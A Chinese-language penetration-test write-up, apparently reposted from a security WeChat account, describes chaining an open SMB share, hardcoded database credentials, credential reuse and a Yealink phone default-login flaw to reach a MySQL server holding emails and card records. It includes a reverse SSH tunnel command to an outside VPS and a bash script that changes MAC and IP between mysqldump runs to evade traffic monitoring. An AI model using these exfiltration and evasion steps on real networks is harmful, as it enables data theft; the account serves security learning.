多漏洞组合实现百G数据泄漏

来自公众号：信安之路

仅供技术学习。

这是几年前的一次内部渗透测试案例，通过几个小漏洞组合起来获得了大量敏感信息，起初在一个小的内网进行 nmap 扫描，没有发现什么特别有价值的信息，只发现一个 SMB 共享，如图：

看上去像是开发人员创建，用于计算机之间的文件共享，接下来使用 impacket 的 smbclient.py 访问该共享，获得了一些内容：

通过命令行窗口没看到啥特别有用的文件，尝试下载回本地，发现了一个 jar 文件：

看着像是自己写的程序，然后使用 java 的反编译软件 jd-gui，下载地址：

https://github.com/java-decompiler/jd-gui.git

将代码克隆回本地然后编译：

编译好之后启动：

启动之后出现一个界面，打开要反编译的 jar 文件即可：

在翻看了代码之后，找到了几个数据库的链接信息，如图：

在全部尝试之后发现，这些 IP 均无法访问，我想，这些账号密码可能存在通用的，所以开始对整个内网进行扫描，探测所有运行 mysql 服务的端口，然后使用收集到的账号密码进行登录尝试，最后发现 10.40.0.0/16 网段一台电脑的 3033 端口登录成功。

成功连接后发现，有五十多个与业务相关的数据表，包含的数据超过 700 G：

为了证明信息量，查询了下数据条数（超过 1600 万条电子邮件地址）：

除了这些，还发现看超过 20 万条完整的信用卡记录，大约 700 G 的数据中，有 270 G 的熟剧是关键的，到这里，你以为就结束了？其实并没有，为了证明这些数据可以泄漏，需要想办法将这些数据转移至外部，在尝试传输时发现速度非常慢，如果一天内传输 270G 的数据，可能会触发一些流量审计设备的规则。

接下来我们尝试使用 ssh 建立隧道，通过外部访问内部被控制的主机， 这里先说一下如何建立 SSH 隧道，首先在被控主机上执行命令：

ssh -R 8080:127.0.0.1:22 -N -f [e-mail]

remote.host 是我们的远程 VPS（具有公网IP，可以远程访问），- N 参数表示不运行任何命令，只建立连接，-f 参数表示后台运行进程，整个命令的意思是远程 VPS 监听 8080 端口，把收到的所有数据均发送给内网被控主机的 22 端口，这样我们就可以通过外部访问内网被控主机的 SSH 端口，连接命令：

ssh -p 8080 compromiseduser@localhost

compromiseduser 是内网被控主机上的用户名，到这里我们就解决了通过公司网络访问内网主机的问题。

接下来我们决定找一个全天候都在启动、安全性差、可以访问网络的设备，物联网设备满足这几个条件，然后在内网开始扫描这类设备，发现了一百台物联网设备，主要是电视和 VOIP 电话，电视不会一直开着，电话都是 Yealink 的：

看看这类设备是否存在历史漏洞，使用 searchsploit 搜索相关漏洞发现几个：

经过分析, 23572 这个漏洞可以启动 telnet 并且存在默认账号密码，详情：

https://www.exploit-db.com/exploits/23572

使用默认账号密码 admin/admin 成功登录，但不是 root 权限：

在测试中发现，使用 guest/guest 账号可以编辑 passwd 文件，然后将 root 用户中的 x 去掉，即可在没有 root 密码的情况下登录：

关于 guest 用户为什么可以编辑 passwd 文件，不得而知，但确实是可以的。

有了 root 权限之后，需要在这个系统上部署一个 ssh 服务器，由于这个过程中遇到很多错误，没有做记录，如果再做的话我会选择 pentestkoala 来创建 ssh 服务：

https://github.com/mrschyte/pentestkoala

这个时候，我不想用一个 IP 下载所有的数据，这样容易被流量监控发现，测试发现使用 macchanger 更改 mac 后，手动释放 DHCP 会获得一个新的 IP，也就是说 DHCP 分配 IP 取决于 MAC 地址，所以编写一个脚本：

#!/bin/bash
for i in importantdb1 importantdb2 importantdb3 importantdb4; do
 dhclient -r enp0s25
 sleep 10
 macchanger - random enp0s25
 dhclient enp0s25
 sleep 40
 mysqldump - verbose -u root -prootspi949 -h 10.40.59.10 -P 3033 $i >> /tmp/compromisedDb/$i.sql
done

每下载一个数据表则更换一个 IP 地址，这样同一个 IP 所下载的数据就没有那么大了，目标达成。

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